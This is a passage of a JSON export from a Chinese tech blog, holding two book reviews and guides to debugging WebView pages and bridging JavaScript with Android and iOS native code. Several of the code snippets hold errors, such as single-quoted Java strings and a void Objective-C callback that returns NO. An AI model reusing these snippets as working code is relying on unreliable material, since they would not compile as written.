针对我碰到的这个问题，先生也给出了合理的解决方法。我们先说说后者，俗话说知己知彼百战不殆，解决时间分配问题只有先知道我们的时间花在哪里了，才能够重新合理规划时间。书中指出我们需要一段时间客观严格的记录自己的时间使用情况，根据统计结果将时间重新规划。包括消除掉浪费时间无意义的行动，以及集中处理碎片时间等。\n事实上当我向我的领导吐露这个困扰的时候，他也是这么建议我的，所以对于本章所说的内容我感触颇深，并深表赞同。\n至于时间不够用的另外一种情况，作者也提出了解决方法。如果真的是任务繁重，就要有先后次序的考虑。而书中提出的“重将来而不重过去”排序原则也令我眼睛为之一亮。另外其也强调需要集中精神把一件事情处理好，三心二用最后会适得其反。只有把手头的事情做好之后，才能基于现在考虑下一步要做什么。\n用人之长，容人之短 “有效的管理者善于利用长处，包括自己的长处、上司的长处、同事的长处和下属的长处。”这是本书教给我的另外一个道理，其中自己的长处和下属的长处非常赞同，上司的长处和同事的长处则让我醍醐灌顶。我从来没有想到连上司的长处也是可以利用的。\n不过即使是利用同事和下属的长处，我也还有非常多要学习的地方。经常用自己的思路去想当然的评价其它人是我的另外一个困扰。有时候我会用自己的行为去评价对方，导致双方都很不愉快。新的一年里，希望能做到书中说的一样，最大化利用对方的长处帮助自己吧。\n除了用别人之所长，也要正确的认识自己的长处。也就是书中所说的“我能贡献什么”。只有正确的认识自己的长处，才能将自己的成果最大化，这对组织对自己来说都是再好不过的。如何将一个组织中的人才合理分配使用，是本书给我们每个人提出的思考。\n后记 虽然 200 页不到的书有一半是在举例子，但其阐述的观点缺不失为一本好书。除了上面说的观点之外，本书还提出了“管理者的有效决策”。不过我对此观点没有太大的感触，在此就不多表了。不过书中所阐述的所有观点，我总结认为都是尽一切可能最大化利益处理事情，也就是标题所说的“好钢用在刀刃上”。同时我也相信这些观点受用于任何人，我们不仅要做卓有成效的管理者，更重要的是我们要做卓有成效的自己。当每个人都卓有成效后，我相信，整个团队也会变得卓有成效起来。\n","count":1191,"date":"2018年02月25日","featuredImage":null,"permalink":"https://imnerd.org/good-steel-needs-to-used-for-the-key-point.html","summary":"\u003cp\u003e零零散散花了半个多月的时间把《卓有成效的管理者》读完，全书一直都在围绕着卓有成效四个字进行阐述。六位大师做序，二十多种语言译本足以证明德鲁克先生以及本书的成功。先生先为我们讲述了卓有成效是否可行，然后为我们列举了一系列卓有成效的方法。其中以下几个观点对我的感触非常大。\u003c/p\u003e\n\u003ch2 id=\"规划时间要事优先\"\u003e规划时间，要事优先\u003c/h2\u003e\n\u003cp\u003e时间作为不可再生资源对所有人来说都是宝贵的，当然对管理者尤为甚之。去年困扰我自己的最大的问题就是时间不够用，导致很多想法停留在计划层，没办法付诸实践。然而时间不够用往往有两种情况：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e要做的事情太多，时间不够用。\u003c/li\u003e\n\u003cli\u003e时间被浪费在其它事情上了，导致真正想做的事情没有做。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cimg src=\"https://imnerd.org/assets/migration/p3.ssl.qhimg.com/t01c8a2f0b03d884afc.jpg\" alt=\"\"\u003e\u003c/p\u003e","time":3,"title":"好钢用在刀刃上"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"稻盛和夫作为日本著名的企业家，在《干法》这本书中却并没有从企业管理的角度来教导我们如何走向成功。这本书主要是从劳动观、工作观上为我们描述了他走向成功的关键。开篇的“劳动即为赎罪”和“工作磨炼心智”两种工作态度，给我们描绘了“工作太有意思了，太有趣了，简直不知如何形容才好”的美好蓝图。当然还有一个重要的观点：只有全身心持之以恒不思昼夜的投入到工作当中，那么你就一定能获得成功。\n持续的工作热情 以现今的观点来看，这不得不说有点鸡汤文的嫌疑。但不管怎么说，稻盛和夫先生这么做了，并且也成功了，我们姑且信着。工作不是温饱，而是升华的途径。即使有这么好的愿景，想要日复一日的保持高强度的工作热情那也是极其的困难的。书中告诉我们的方法总结起来就是“短频快跑”。以天为单位规划自己的工作目标，用每一天的进步作为自己的动力源泉，给自己打鸡血。\n这个让我想到了自己十公里长跑的时候。跑到2公里的时候总是会想“哎！还有8公里怎么这么长”，而跑到8公里的时候则会想“还有2公里了，加油！”。后来根据这个经历，我将跑步划分成5段，每完成一段就会想“又完成一段”了，以此来激励自己继续跑下去。其实稻盛先生的道理也差不多。\n极致的工作热情 稻盛和夫先生还给我们传达了另外一条经验：只要全身心的投入到工作中，那么解决困难的方法会主动出现在你的身边。当你一心只想一件事的时候，你做的所有动作，看到的所有风景都会围绕着它。也许这些当中的某些东西就能帮你解决这些问题。这不由得让我想起了《名侦探柯南》，经常是小兰随口说了句话触发了柯南的灵光一现，最终破案。\n除了全身心的投入工作的机智，还有一个更重要的极致是高要求的要求自己。只有极致的要求自己将工作做到完美，而不是比别人好或者得过且过的态度，才能从工作中获取到更大的成就感，保持持续的工作热情。同时先生还强调了要去做创造性的工作，一味地走别人走过的路无法凸显自己。自己披荆斩棘开辟新道路而后成功的过程不仅能培养我们的能力，同时也能为我们的工作热情注入新鲜血液。\n外行的工作热情 外行虽然不能为工作提供技术性指导，但是他们有一个共同点就是脱离了内行的工作桎梏。也就是作者想说的外行可以“自由发想”。不知庐山真面目，只缘身在此山中的观点我是深表认同的。因为我现在的工作和专业差别很大，所以我思考问题的思路有时候会和同事们不太一样。有时候会却会成为问题的突破口。思路决定一切，不同的思路有不同的解法。同样的我会习惯跨领域思考问题，其它领域的内容会给我们带来新的机遇。这个也是作者所倡导的。\n后记 虽然首章就在对比工作态度来为我们讲述工作不苦，不过看完全书之后我其实也没看出来到底哪里不苦了/(ㄒoㄒ)/~~ 稻盛和夫先生以极强的大毅力以及苦行僧式的潜心工作才取得了如今的成就，这个中的苦难肯定不是一本书能够说得清楚的。不过其主要是为了给我们传达一个态度，苦不苦，其实全看你自己怎么想。如果你认为成大事者必先苦其心志劳其筋骨饿其体肤，持之以恒的做下去之后获得了应有的成功，我觉得是不苦的。如果你认为工作即是苦难的开始，每一步都极为艰苦，那工作热情就决定你成功的可能性不高，自然是苦到心里去了。世上无难事，只要肯坚持。\n","count":1303,"date":"2018年01月20日","featuredImage":null,"permalink":"https://imnerd.org/no-pain-no-gain.html","summary":"\u003cp\u003e稻盛和夫作为日本著名的企业家，在《干法》这本书中却并没有从企业管理的角度来教导我们如何走向成功。这本书主要是从劳动观、工作观上为我们描述了他走向成功的关键。开篇的“劳动即为赎罪”和“工作磨炼心智”两种工作态度，给我们描绘了“工作太有意思了，太有趣了，简直不知如何形容才好”的美好蓝图。当然还有一个重要的观点：只有全身心持之以恒不思昼夜的投入到工作当中，那么你就一定能获得成功。\u003c/p\u003e\n\u003ch2 id=\"持续的工作热情\"\u003e持续的工作热情\u003c/h2\u003e\n\u003cp\u003e以现今的观点来看，这不得不说有点鸡汤文的嫌疑。但不管怎么说，稻盛和夫先生这么做了，并且也成功了，我们姑且信着。工作不是温饱，而是升华的途径。即使有这么好的愿景，想要日复一日的保持高强度的工作热情那也是极其的困难的。书中告诉我们的方法总结起来就是“短频快跑”。以天为单位规划自己的工作目标，用每一天的进步作为自己的动力源泉，给自己打鸡血。\u003c/p\u003e","time":3,"title":"吃得苦中苦，方为人上人"},{"comments":{"data":[1],"errmsg":"","errno":0},"contents":"Web开发过程中离不开调试，WebView 页面开发更是如此。本篇会和大家讲述在 iOS WebView 中一般是如何调试的。其实除去系统差异带来的区别之外，两者调试的原理上其实都差不多。\n抓包 抓包即我们查看下 WebView 中的所有网络请求，在很多无法获取到机器的时候非常有用。通常页面行为不正常往往是接口请求的参数不正确，或者是接口返回的数据有异常。甚至于页面行为存在打点，根据打点请求来判断行为是否正常。通过这种“望闻问切”的方式，有些问题能够浮出水面。市面上抓包软件很多，Windows 上大家一般都是用 Fiddler, Mac 上则使用 Charles，还有其它的这里就不一一列举了。不过软件很多原理确实一样，简单的说来则是使用 HTTP 代理将所有的请求转发到软件记录本次 HTTP 请求的相关数据。\n首先我们需要保证手机和电脑在同一个局域网中，软件中开启 Proxy 配置，这里以 Charles 为例，如图勾选\u0026quot;Enable transparent HTTP Proxying\u0026quot;即可。然后手机 WiFi 上配置 HTTP 代理 IP 为你的电脑 IP，端口为刚才软件中配置的端口（默认8888）。配置完后如无问题就可以在软件中看到请求流了。我们可以类似于 Chrome 开发者工具中的 Network 一样详细的查看请求的请求报文和响应报文。\n由于代理的方式本质上属于中间人劫持，所以这里还有一个需要注意的是如果是 HTTPS 的网站抓包的话需要在手机端安装抓包软件的 SSL 证书。以 Charles 为例，连接上 Charles 后访问 http://chls.pro 即可获取 SSL 证书并进入安装步骤。证书安装 OK 之后我们就可以正常的对 HTTPS 的请求进行抓包了。\n调试 当抓包的数据无法定位问题的时候，我们就需要使用更强力的 debug 方法了。本方法的原理是通过一定的方法获取到类似 Chrome 开发者工具的能力，可以查看并修改所有日志的输出、DOM 的结构与样式等功能。根据环境和客户端情况，实现的方法有很多种，下面我来一一说明。\nSafari 如果你手机上安装的是 DEBUG 版应用，那么推荐使用 Safari 来调试，它能为 WebView 带来原生的开发者工具，可以方便的对代码进行断点调试。该方法需要满足一下三个条件才能使用：\n【Safari】-\u0026gt;【偏好设置】-\u0026gt;【高级】-\u0026gt;【在菜单栏中显示“开发”菜单】勾选 【设置】-\u0026gt;【Safari】-\u0026gt;【高级】-\u0026gt;【Web检查器】打开 最重要的是 App 必须开启 DEBUG 模式 由于iOS有签名校验机制，真机正式包不允许Safari Debug，所以安装在真机上的包必须是测试签名打的包。需要联系客户端将我们 iOS 设备的 ID 写入到可信任设备列表中，然后使用 iTunes 安装客户端提供的测试包即可。\n当满足以上要求后，就可以在 【Safari】-\u0026gt; 【开发】中看到自己的设备以及 WebView 中网页，点击后即可开启对应页面的 Inspector，可以用来进行断点调试。\n图片来自使用 Safari 对 WebView 进行调试\nweinre Safari 调试虽然强大，但是要求也比较多，往往很多时候无法满足，这个时候可以考虑使用 weinre。weinre 通过在页面中插入一段脚本，将页面的所有行为发送到服务上。首先我们需要安装并启动服务：\nnpm install -g weinre weinre --httpPort 8000 图片来自用Weinre远程调试移动网页\n访问 http://localhost:8000 按照页面提示将 debug 脚本插入到页面中。访问页面后就会发现 winere 页面中出现了对应的请求记录，点击该记录即可跳到如下页面。可以看到这个就是一个网页版的开发者工具，可以方便的查看网络请求，控制台执行代码以及样式修改等。不过受限于原理，断点调试功能无法提供。\n图片来自用Weinre远程调试移动网页\neruda 如果启动服务不方便的话，也可以采用 eruda 等方式。类似于 weinre 方法，该方法也是在页面内插入 JS 脚本将所有的数据输出到页面内的一个迷你版开发者工具中。目前市面上类似的工具非常多，不过方法都差不多，这里以 eruda 为例。页面插入脚本后点击页面中的工具按钮即可在当前页弹出 mini DevTool，可以看到所有的请求和日志等。\n总结 iOS 的调试方法不是很多，常见的大概就是这些。如果 Safari 可以使用，这无疑是最优解，不过其它几种也不是没有使用场景，甚至于说出现条件无法满足只能一步一步 alert 的调试，大家针对自己的需求选择对应的调试方式即可。\n","count":1600,"date":"2018年01月14日","featuredImage":null,"permalink":"https://imnerd.org/ios-webview-debug.html","summary":"\u003cp\u003eWeb开发过程中离不开调试，WebView 页面开发更是如此。本篇会和大家讲述在 iOS WebView 中一般是如何调试的。其实除去系统差异带来的区别之外，两者调试的原理上其实都差不多。\u003c/p\u003e","time":4,"title":"前端 WebView 指南之 iOS 调试篇"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"WebView 是一个客户端浏览器控件，可以实现加载并渲染网页的逻辑。但是这个控件并不能完全同等于浏览器，而且我们页面的一些行为会依赖客户端的交互所以我们需要在 WebView 环境中进行调试。下面我就来说一说简单的 WebView 调试方法。\n抓包 抓包即我们查看下 WebView 中的所有网络请求，在很多无法获取到机器的时候非常有用。通常页面行为不正常往往是接口请求的参数不正确，或者是接口返回的数据有异常。甚至于页面行为存在打点，根据打点请求来判断行为是否正常。通过这种“望闻问切”的方式，有些问题能够浮出水面。市面上抓包软件很多，Windows 上大家一般都是用 Fiddler, Mac 上则使用 Charles，还有其它的这里就不一一列举了。不过软件很多原理确实一样，简单的说来则是使用 HTTP 代理将所有的请求转发到软件记录本次 HTTP 请求的相关数据。\n首先我们需要保证手机和电脑在同一个局域网中，软件中开启 Proxy 配置，这里以 Charles 为例，如图勾选\u0026quot;Enable transparent HTTP Proxying\u0026quot;即可。然后手机 WiFi 上配置 HTTP 代理 IP 为你的电脑 IP，端口为刚才软件中配置的端口（默认8888）。配置完后如无问题就可以在软件中看到请求流了。我们可以类似于 Chrome 开发者工具中的 Network 一样详细的查看请求的请求报文和响应报文。\n由于代理的方式本质上属于中间人劫持，所以这里还有一个需要注意的是如果是 HTTPS 的网站抓包的话需要在手机端安装抓包软件的 SSL 证书。以 Charles 为例，连接上 Charles 后访问 http://chls.pro 即可获取 SSL 证书。iOS 会自动进入安装步骤，大部分 Android 机需要进入设置内的安全选项中从SD卡上安装证书。证书安装 OK 之后我们就可以正常的对 HTTPS 的请求进行抓包了。\n调试 当抓包的数据无法定位问题的时候，我们就需要使用更强力的 debug 方法了。本方法的原理是通过一定的方法获取到类似 Chrome 开发者工具的能力，可以查看并修改所有日志的输出、DOM 的结构与样式等功能。根据环境和客户端情况，实现的方法有很多种，下面我来一一说明。\nAndroid Chrome 如果你需要调试的 Android 手机版本 \u0026gt;= 4.4，则推荐使用 chrome://inspect 的方式进行调试，它能为 WebView 带来原生的开发者工具，可以方便的对代码进行断点调试。该方法需要满足一下三个条件才能使用：\nAndroid 4.4+ 手机上开启允许 USB 连接设备进行调试 客户端开启 WebView debug 模式 //开启 webview 的 debug 模式 webview.setWebContentsDebuggingEnabled(true); 当满足以上要求之后，访问 chrome://inspect，页面将显示您的设备上已启用调试的 WebView 列表。要开始调试，请点击您想要调试的 WebView 下方的 inspect。像使用远程浏览器标签一样使用开发者工具。\n图片来自远程调试 Webview\n本方法需要注意的是有同学可能第一次访问的时候会白页，这是因为开发者工具本质上是一个网页，会加载 Google 相关的资源，这些资源被大陆屏蔽，需要翻墙解决。\niOS Safari 如果你手机上安装的是 DEBUG 版应用，那么推荐使用 Safari 来调试，它能为 WebView 带来原生的开发者工具，可以方便的对代码进行断点调试。该方法需要满足一下三个条件才能使用：\nMac: Safari -\u0026gt; 偏好设置 -\u0026gt; 高级 -\u0026gt; 在菜单栏中显示“开发”菜单勾选 iOS: 设置 -\u0026gt; Safari -\u0026gt; 高级 -\u0026gt; Web检查器打开 最重要的是 App 必须开启 DEBUG 模式 由于iOS有签名校验机制，真机正式包不允许Safari Debug，所以安装在真机上的包必须是测试签名打的包。需要联系客户端将我们 iOS 设备的 ID 写入到可信任设备列表中，然后使用 iTunes 安装客户端提供的测试包即可。当满足以上要求后，就可以在 Safari -\u0026gt; 开发中看到自己的设备以及 WebView 中网页，点击后即可开启对应页面的 Inspector，可以用来进行断点调试。\n图片来自使用 Safari 对 WebView 进行调试\nweinre 当系统版本或者未开启 debug 模式导致上面的方法不可用时，可以考虑使用 weinre。weinre 通过在页面中插入一段脚本，将页面的所有行为发送到服务上。首先我们需要安装并启动服务：\nnpm install -g weinre weinre --httpPort 8000 图片来自用Weinre远程调试移动网页\n访问 http://localhost:8000 按照页面提示将 debug 脚本插入到页面中。访问页面后就会发现 winere 页面中出现了对应的请求记录，点击该记录即可跳到如下页面。可以看到这个就是一个网页版的开发者工具，可以方便的查看网络请求，控制台执行代码以及样式修改等。不过受限于原理，断点调试功能无法提供。\n图片来自用Weinre远程调试移动网页\neruda 如果启动服务不方便的话，也可以采用 eruda 等方式。类似于 weinre 方法，该方法也是在页面内插入 JS 脚本将所有的数据输出到页面内的一个迷你版开发者工具中。目前市面上类似的工具非常多，不过方法都差不多，这里以 eruda 为例。页面插入脚本后点击页面中的工具按钮即可在当前页弹出 mini DevTool，可以看到所有的请求和日志等。\n微信 WebView 调试 由于微信内查看网页的需求特别大，所以这里将微信 WebView 的调试方法单列了出来。正常来说你可以使用微信开发者工具来在电脑端进行网页与微信的调试。当这种情况无法满足，你需要在真机上排查问题时，你需要使用腾讯 x5开发的 TBS Studio 进行调试。它本质上和 chrome://inspect 方法类似，只是它为线上的微信包提供了 debug 模式，并将操作简单化。具体的使用方法可以参考官方文档：https://x5.tencent.com/tbs/guide/debug/season1.html\n总结 目前市面上常见的 WebView 调试的方法大概就这些，还有一些是基于以上方法的集成和进化。如果 chrome://inspect 和 Safari 方式可以使用，这无疑是最优解，不过其它几种也不是没有使用场景，大家针对自己的需求选择对应的调试方式即可。\n另外有时候用户的环境我们以上所有方法都没办法使用，而问题又不太好排查的时候，我们可以考虑记录用户交互后的页面 HTML 并发送给服务端根据 HTML 页面的情况来调试。因为用户能感知到的不正常都会在 HTML 中表现出来，通过记录用户也可以获取到用户的交互逻辑，后续通过回放用户行为方便我们排查问题。\n扩展阅读：\n《远程调试 WebView》\n《weinre入门手册》\n《移动端开发调试》\n","count":2268,"date":"2018年01月14日","featuredImage":null,"permalink":"https://imnerd.org/webview-debug.html","summary":"\u003cp\u003eWebView 是一个客户端浏览器控件，可以实现加载并渲染网页的逻辑。但是这个控件并不能完全同等于浏览器，而且我们页面的一些行为会依赖客户端的交互所以我们需要在 WebView 环境中进行调试。下面我就来说一说简单的 WebView 调试方法。\u003c/p\u003e","time":5,"title":"前端 WebView 指南之调试篇"},{"comments":{"data":[1],"errmsg":"","errno":0},"contents":"前文我们介绍了 Android 的 WebView 交互方式，iOS 从原理上来说和 Android 还是非常类似的。在 iOS 中 WebView 需要分为UIWebView 和 iOS8 中新增的 WKWebView 两种类型。其中 WKWebView 相较于 UIWebView 优势在于能够直接使用系统 Safari 渲染引擎去渲染页面，支持更多的 HTML5 特性，渲染性能也会更好点。由于对 iOS 开发了解不太多，以下的代码大多是网络整理，没有 swift 的实现，如果有任何错误还请及时联系。\n客户端调用 JS 两个 WebView 类型提供了不同的调用方式，但是基本上可以归类成以下两种：\nevaluateScript 在 UIWebView 中，iOS7+ 提供了 JavascriptCore 让我们能够直接在 WebView 中获取到 JSContext，也就是当前执行环境的 JS 上下文。在这里我们就可以获取到对应的 JS 方法并执行，是非常高效的执行方式。同时这种方式的好处是能够拿到 JS 执行的结果，并转换成对应的 JS 类型。定义好 jsContext 之后就可以调用 evaluateScript 方法来执行 JS 了。\n- (void)webViewDidFinishLoad:(UIWebView *)webView { JSContext *jsContext = [self.webView valueForKeyPath:@\u0026#34;documentView.webView.mainFrame.javaScriptContext\u0026#34;]; //设置JS执行报错捕获 [self.jsContext setExceptionHandler:^(JSContext *context, JSValue *exception){ NSLog(@\u0026#34;%@\u0026#34;, exception); }]; JSValue *value = [self.jsContext evaluateScript:@\u0026#34;document.title\u0026#34;]; self.navigationItem.title = value.toString; } Objective-C 数据类型 对应 JavaScript 数据类型 nil undefined NSNull null NSString string NSNumber number, boolean NSDictionary Object object NSArray Array object NSDate Date object NSBlock Function object id Wrapper object Class Constructor object 不过在 WKWebView 中没办法获取到 JSContext，不过也还是提供了 evaluateScript 方法，调用方式比起 JavascriptCore 更加简单。同时将错误捕获放置到了执行的异步回调中，对个性化错误处理比较方便。\n[self.webView evaluateJavaScript:@\u0026#34;document.title\u0026#34; completionHandler:^(id _Nullable title, NSError * _Nullable error) { NSLog(@\u0026#34;Hello, %@\u0026#34;, title); }]; stringByEvaluatingJavaScriptFromString 除了 evaluateScript，两个 WebView 还提供了另外一种调用方式，那就是 stringByEvaluatingJavaScriptFromString。同样是执行一段 JS 字符串，它的优势是两者都兼容，缺点是返回值类型无法转换，只能是字符串，而且无法捕获错误。\nself.navigationItem.title = [webView stringByEvaluatingJavaScriptFromString:@\u0026#34;document.title\u0026#34;]; JS 调用客户端 JS 调用 iOS 客户端的方法其实和 Android 的非常的类似，JavascriptCore 对应的是 addJavascriptInterface()，而劫持执行的方法都是通用的。\nJavascriptCore 不得不说 JavascriptCore 十分强大，获取到 JSContext 上下文之后既可以读取 JS 方法，同时也可以对其写入方法以供 JS 调用。\n- (void)webViewDidFinishLoad:(UIWebView *)webView { self.jsContext = [self.webView valueForKeyPath:@\u0026#34;documentView.webView.mainFrame.javaScriptContext\u0026#34;]; self.jsContext[@\u0026#34;hello\u0026#34;] = ^() { NSLog(@\u0026#34;Hello World\u0026#34;); }; } 这样加载的页面中就可以直接执行 hello() 方法来执行客户端方法了。\nWKScriptMessageHandler 虽然在 WKWebView 中不支持获取 JavascriptCore，但是其提供了一套 Message Handler 协议的方式来进行客户端与 JS 的通信，和 JavascriptCore 有一些区别。\n//定义 Message Handler 处理方法 - (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message { if ([message.name isEqualToString:@\u0026#34;hello\u0026#34;]) { NSLog(@\u0026#34;Hello World\u0026#34;); } } WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init]; config.userContentController = [[WKUserContentController alloc] init]; //声明 hello message handler 协议 [config.userContentController addScriptMessageHandler:self name:@\u0026#34;hello\u0026#34;]; self.webview = [[WKWebView alloc] initWithFrame:self.view.bounds configuration:config]; self.webview.UIDelegate = self; [self.view addSubview:self.myWebView] 注册完 Message Handler 之后，JS 中会存在 window.webkit.messageHandlers 对象，我们可以如下直接调用客户端方法了。\nwindow.webkit.messageHandlers.hello.postMessage(); URL劫持 同 Android 一样，我们也可以使用客户端劫持 URL 跳转的方式来进行 JS 与客户端的通信。URL劫持主要是使用 shouldStartLoadWithRequest() 进行 WebView URL 劫持。在该回调中我们能够获取到前端提供的 URL 地址。我们通过构造约定协议的 URL 地址提供给客户端识别，识别成功后执行对应的方法即可。\n- (BOOL)webView:(UIWebView *)webView shouldStartLoadWithRequest:(NSURLRequest *)request navigationType:(UIWebViewNavigationType)navigationType { NSString *requestString = [[[request URL] absoluteString] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding ]; if ([requestString isEqualToString:@\u0026#34;sdk:hello\u0026#34;]) { NSLog(@\u0026#34;hello world\u0026#34;); return NO; } return YES; 方法劫持 在 WKWebView 中，JS 的 alert() 等弹窗行为方法是无法直接触发的，它们会触发客户端的方法，客户端需要手动实现这些方法。在这些方法中客户端可以获取到 JS 传入的参数，然后做相应的处理。目前前端主要有以下三种方法会触发对应的回调方法，对应关系如下：\nJS方法 触发的客户端方法 alert runJavaScriptAlertPanelWithMessage prompt runJavaScriptTextInputPanelWithPrompt confirm runJavaScriptConfirmPanelWithMessage 将这三个方法列在一块是因为这几个方法的本质上都是差不多，定义好对应的回调方法即可。客户端具体的配置如下：\n- (void)webView:(WKWebView *)webView runJavaScriptAlertPanelWithMessage:(NSString *)message initiatedByFrame:(WKFrameInfo *)frame completionHandler:(void (^)(void))completionHandler { if ([message isEqualToString:@\u0026#34;sdk:hello\u0026#34;]) { NSLog(@\u0026#34;hello world\u0026#34;); return NO; } UIAlertController *alert = [UIAlertController alertControllerWithTitle:@\u0026#34;alert\u0026#34; message:@\u0026#34;JS调用alert\u0026#34; preferredStyle:UIAlertControllerStyleAlert]; [alert addAction:[UIAlertAction actionWithTitle:@\u0026#34;确定\u0026#34; style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) { completionHandler(); }]]; [self presentViewController:alert animated:YES completion:NULL]; } 另外两种方法都差不多的写法，这里就不一一列举了。在实际的使用过程中我们只要约定好一种调用协议即可。\n总结 本文讲述了 JS 调用客户端的方法，以及客户端调用前端的方法。JavascriptCore 和 Message Handler 方法都提供了回去执行结果的方法，而 URL 劫持则需要在 JS 调用的时候需要传入一个回调方法名，然后客户端直接执行回调方法。这样就完成了一个完成的信息交流的过程。\nwindow.hello = function(text) { console.log(text); }; location.href = \u0026#39;$hello:{\u0026#34;callback\u0026#34;: \u0026#34;hello\u0026#34;}\u0026#39;; //以 stringByEvaluatingJavaScriptFromString 为例 [webView stringByEvaluatingJavaScriptFromString:@\u0026#34;hello(\u0026#39;hello world\u0026#39;)\u0026#34;]; 有人将通信机制进行了封装，形成一套完善的 WebviewJSBridge 方案，提供了客户端调前端，前端调用客户端的系统解决方案。例如 marcuswestin/WebViewJavascriptBridge 项目，其实它在底层是使用了 URL 劫持的方法与 JS 进行交互。使用 URL 劫持的方式主要是适用范围广，同时还能兼容 Android 端。\n参考资料：\n《js(javascript)与ios(Objective-C)相互通信交互》\n《UIWebView和WKWebView的使用及js交互》\n《iOS中UIWebView与WKWebView、JavaScript与OC交互、Cookie管理看我就够》\n《iOS中JavaScript 与OC交互》\n《iOS开发-JavaScriptCore、UIWebView及WKWebView交互的那些事》\n《WKWebView使用简介》\n《IOS WKWebview 和JS交互》\n","count":1902,"date":"2018年01月13日","featuredImage":null,"permalink":"https://imnerd.org/ios-webview-and-js.html","summary":"\u003cp\u003e前文我们介绍了 Android 的 WebView 交互方式，iOS 从原理上来说和 Android 还是非常类似的。在 iOS 中 WebView 需要分为UIWebView 和 iOS8 中新增的 WKWebView 两种类型。其中 WKWebView 相较于 UIWebView 优势在于能够直接使用系统 Safari 渲染引擎去渲染页面，支持更多的 HTML5 特性，渲染性能也会更好点。由于对 iOS 开发了解不太多，以下的代码大多是网络整理，没有 swift 的实现，如果有任何错误还请及时联系。\u003c/p\u003e","time":4,"title":"前端 WebView 指南之 iOS 交互篇"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":"WebView 是移动端应用中的一个控件，提供了类似浏览器可以在 App 中加载网页的功能。现在市面上很多应用都会使用这种方式内嵌一些 h5 页面用来实现产品功能。使用这种方式带来的好处就是支持快速迭代更新，并且页面的功能是全网升级。当然目前 RN 和 Codorva 给我们带来的热更新方案也是可以的，只是目前 Apple 的态度很拒绝，这里我们略过不表。在 WebView 中的网页势必存在和客户端进行交互的动作，进行数据的共享。下面我们就来说说 Android WebView 中 JS 和 Native 的交互方式。\n客户端调用 JS loadUrl() 我们明白 WebView 其实就是在加载网页，所以客户端可以直接访问 javascript:console.log('hello') 这样的伪 URL 即可实现在页面注入需要执行的 JS 代码。调用方法如下：\nWebView webview = (WebView) findViewById(R.id.webView); webview.loadUrl(\u0026#34;javascript:console.log(\u0026#39;hello\u0026#39;)\u0026#34;); 这样我们就实现了调用 JS 的目的了。loadUrl() 的方案从另外一个角度来看可以算是 hack 方案了，对客户端来说，他们的 JS 交互本质上其实就是一个拼接 JS 字符串的过程。\nevaluateJavascript() 刚才我们也说了 loadUrl() 不是 Android 的正经解决方法。好在官方也想到了这点，在 Android 4.4+ 之后，官方给提供了原生的方法支持调用，那就是 evaluateJavascript()。这个方法最大的好处就是能够直接在一次执行的时候获取到 JS 返回的结果。如果是使用 loadUrl() 的方式的话，执行完后对客户端来说这句话就结束了，如果想要拿到返回的结果的话另外需要 JS 调用客户端的方法返回。\nWebView webview = (WebView) findViewById(R.id.webView); webview.evaluateJavascript（\u0026#34;javascript:Date.now()\u0026#34;, new ValueCallback\u0026lt;String\u0026gt;() { @Override public void onReceiveValue(String value) { System.out.println(value); //1515827651551 } }); 可以看到调用方法和 loadUrl() 非常类似，区别是增加了一个 callback 方法可以获取到 JS 返回的值。该方法无疑比较优秀，不过对兼容性有要求，目前市面上用还是使用前一种方法的比较多。\nJS 调用客户端 相比较客户端调用 JS 的方法，JS 调用客户端的方法就比较多了，简单归类一下其实可以分为注入映射和方法劫持两种。注入映射主要是使用官方提供的 addJavascriptInterface() 方法将 Java 对象和 JS 对象进行映射。而方法劫持则是利用 JS 的一些系统方法调用会触发 Java 的事件回调，然后在回调中进行事件劫持，从而执行客户端方法。下面我们来具体看看。\naddJavascriptInterface addJavascriptInterface() 方法的使用非常简单，定义好被调用的方法对象后直接配置映射关系即可。\n//定义好 Java 接口对象 public class SDK extends Object { @JavascriptInterface public void hello(String msg) { System.out.println(\u0026#34;Hello World\u0026#34;); } } //Webview 中调用 WebView webview = (WebView) findViewById(R.id.webview); webview.addJavascriptInterface(new SDK(), \u0026#39;sdk\u0026#39;); webview.loadUrl(\u0026#39;https://imnerd.org\u0026#39;); //注入后加载页面 这样加载的页面中就可以直接执行 sdk.hello() 方法来执行客户端方法了。不过这种官方推荐的方法在 4.2- 的系统上存在远程执行安全漏洞，对 4.2 以下系统版本有要求的应用需要谨慎使用。目前来看 4.2 还是需要保持支持的。\nURL劫持 URL劫持主要是使用 shouldOverrideUrlLoading() 进行 WebView URL 劫持。从方法名可以看出，它是 WebView 拦截 URL 的一种回调，当 WebView 发生 URL 跳转的时候会触发该回调。在该回调中我们能够获取到前端提供的 URL 地址。我们通过构造约定协议的 URL 地址提供给客户端识别，识别成功后执行对应的方法即可。\nWebView webview = (WebView) findViewById(R.id.webview); webview.loadUrl(\u0026#39;https://imnerd.org\u0026#39;); webview.setWebViewClient(new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { if(url.equals(\u0026#39;sdk:hello\u0026#39;)) { System.out.println(\u0026#39;hello world\u0026#39;); return true; } return super.shouldOverrideUrlLoading(view, url); } }); 方法劫持 同 URL 劫持类似，方法劫持主要是利用 JS 的一些方法执行时会触发 Android 客户端中的一些回调，通过对前端参数进行识别来执行对应的客户端代码。目前前端主要有以下四种方法会触发对应的回调方法，对应关系如下：\nJS方法 客户端回调 alert onJsAlert prompt onJsPrompt confirm onJsConfirm console.log onConsoleMessage 将这四个方法列在一块是因为这几个方法的本质上都是差不多，定义好对应的回调方法即可。客户端具体的配置如下：\n//定义好劫持回调类 private class hijackWebChromeClient extends WebChromeClient { public boolean hijack(String text) { if(text.equals(\u0026#39;sdk:hello\u0026#39;)) { System.out.println(\u0026#39;hello world\u0026#39;); return true; } return false; } @Override public boolean onJsPrompt(WebView view, String message, String defaultValue, JSPromptResult result) { if(this.hijack(message)) { return true; } return super.onJsPrompt(view, url, message, defaultValue, result); } @Override public boolean onJsAlert(WebView view, String url, String message, JsResult result) { if(this.hijack(message)) { return true; } return super.onJsAlert(view, url, message, result); } @Override public boolean onJsConfirm(WebView view, String url, String message, JsResult 